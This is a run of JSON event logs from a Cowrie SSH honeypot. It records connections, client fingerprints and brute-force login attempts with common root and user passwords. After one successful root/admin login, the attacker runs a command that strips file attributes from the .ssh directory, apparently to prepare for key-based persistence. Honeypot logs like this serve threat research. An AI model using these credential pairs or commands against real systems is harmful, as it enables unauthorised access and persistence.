{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:28.080016Z","src_ip":"49.207.40.162","session":"d527c5672829","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:35.111661Z","src_ip":"8.218.166.49","session":"d669556dfbc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:35.115221Z","src_ip":"8.218.166.49","session":"d669556dfbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":35996,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f0aad8c98de","protocol":"ssh","message":"New connection: 68.183.178.130:35996 (10.17.0.5:22) [session: 9f0aad8c98de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:39.074450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:39.078479Z","src_ip":"68.183.178.130","session":"9f0aad8c98de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:39.316301Z","src_ip":"68.183.178.130","session":"9f0aad8c98de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:40.299244Z","src_ip":"68.183.178.130","session":"9f0aad8c98de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:41.541661Z","src_ip":"68.183.178.130","session":"9f0aad8c98de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":36838,"dst_ip":"10.17.0.5","dst_port":22,"session":"237d73d15b41","protocol":"ssh","message":"New connection: 183.182.125.142:36838 (10.17.0.5:22) [session: 237d73d15b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:49.130157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:49.135175Z","src_ip":"183.182.125.142","session":"237d73d15b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:49.418731Z","src_ip":"183.182.125.142","session":"237d73d15b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Letmein@1","message":"login attempt [root/Letmein@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:50.570669Z","src_ip":"183.182.125.142","session":"237d73d15b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:51.853698Z","src_ip":"183.182.125.142","session":"237d73d15b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60319,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcfb263f7d2e","protocol":"ssh","message":"New connection: 95.90.13.168:60319 (10.17.0.5:22) [session: bcfb263f7d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:59.481539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:59.486427Z","src_ip":"95.90.13.168","session":"bcfb263f7d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:59.597893Z","src_ip":"95.90.13.168","session":"bcfb263f7d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serverts3","message":"login attempt [root/serverts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:00.078311Z","src_ip":"95.90.13.168","session":"bcfb263f7d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:01.189920Z","src_ip":"95.90.13.168","session":"bcfb263f7d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":63410,"dst_ip":"10.17.0.5","dst_port":22,"session":"387bea82b578","protocol":"ssh","message":"New connection: 176.65.132.190:63410 (10.17.0.5:22) [session: 387bea82b578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:13.055379Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:13.063623Z","src_ip":"176.65.132.190","session":"387bea82b578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":41920,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c96378d70e7","protocol":"ssh","message":"New connection: 68.183.178.130:41920 (10.17.0.5:22) [session: 3c96378d70e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:18.062821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:18.071406Z","src_ip":"68.183.178.130","session":"3c96378d70e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:18.310025Z","src_ip":"68.183.178.130","session":"3c96378d70e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin00","message":"login attempt [root/admin00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:19.294682Z","src_ip":"68.183.178.130","session":"3c96378d70e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:20.539735Z","src_ip":"68.183.178.130","session":"3c96378d70e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:20.931330Z","src_ip":"8.218.166.49","session":"d669556dfbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":52844,"dst_ip":"159.203.135.109","dst_port":22,"session":"b24270294f60","protocol":"ssh","message":"New connection: 2.57.122.238:52844 (159.203.135.109:22) [session: b24270294f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:23.311253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:23.317244Z","src_ip":"2.57.122.238","session":"b24270294f60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:23.416741Z","src_ip":"2.57.122.238","session":"b24270294f60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:23.713805Z","src_ip":"2.57.122.238","session":"b24270294f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:24.815206Z","src_ip":"2.57.122.238","session":"b24270294f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"61.6","message":"Connection lost after 61.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:28.311965Z","src_ip":"8.218.166.49","session":"d669556dfbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":34930,"dst_ip":"159.203.135.109","dst_port":22,"session":"505d768dc0b9","protocol":"ssh","message":"New connection: 94.26.106.31:34930 (159.203.135.109:22) [session: 505d768dc0b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:29.683380Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:29.688676Z","src_ip":"94.26.106.31","session":"505d768dc0b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":34932,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe13971de8a7","protocol":"ssh","message":"New connection: 94.26.106.31:34932 (159.203.135.109:22) [session: fe13971de8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:29.837940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:29.843086Z","src_ip":"94.26.106.31","session":"fe13971de8a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:29.926534Z","src_ip":"94.26.106.31","session":"fe13971de8a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123#","message":"login attempt [root/Admin@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:30.099045Z","src_ip":"94.26.106.31","session":"fe13971de8a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:31.185836Z","src_ip":"94.26.106.31","session":"fe13971de8a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":55382,"dst_ip":"10.17.0.5","dst_port":22,"session":"23bb973aa55c","protocol":"ssh","message":"New connection: 198.23.150.42:55382 (10.17.0.5:22) [session: 23bb973aa55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.132963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.140873Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.159662Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.265961Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.347511Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.350792Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:19:39.354160Z","src_ip":"198.23.150.42","session":"23bb973aa55c","protocol":"ssh"}
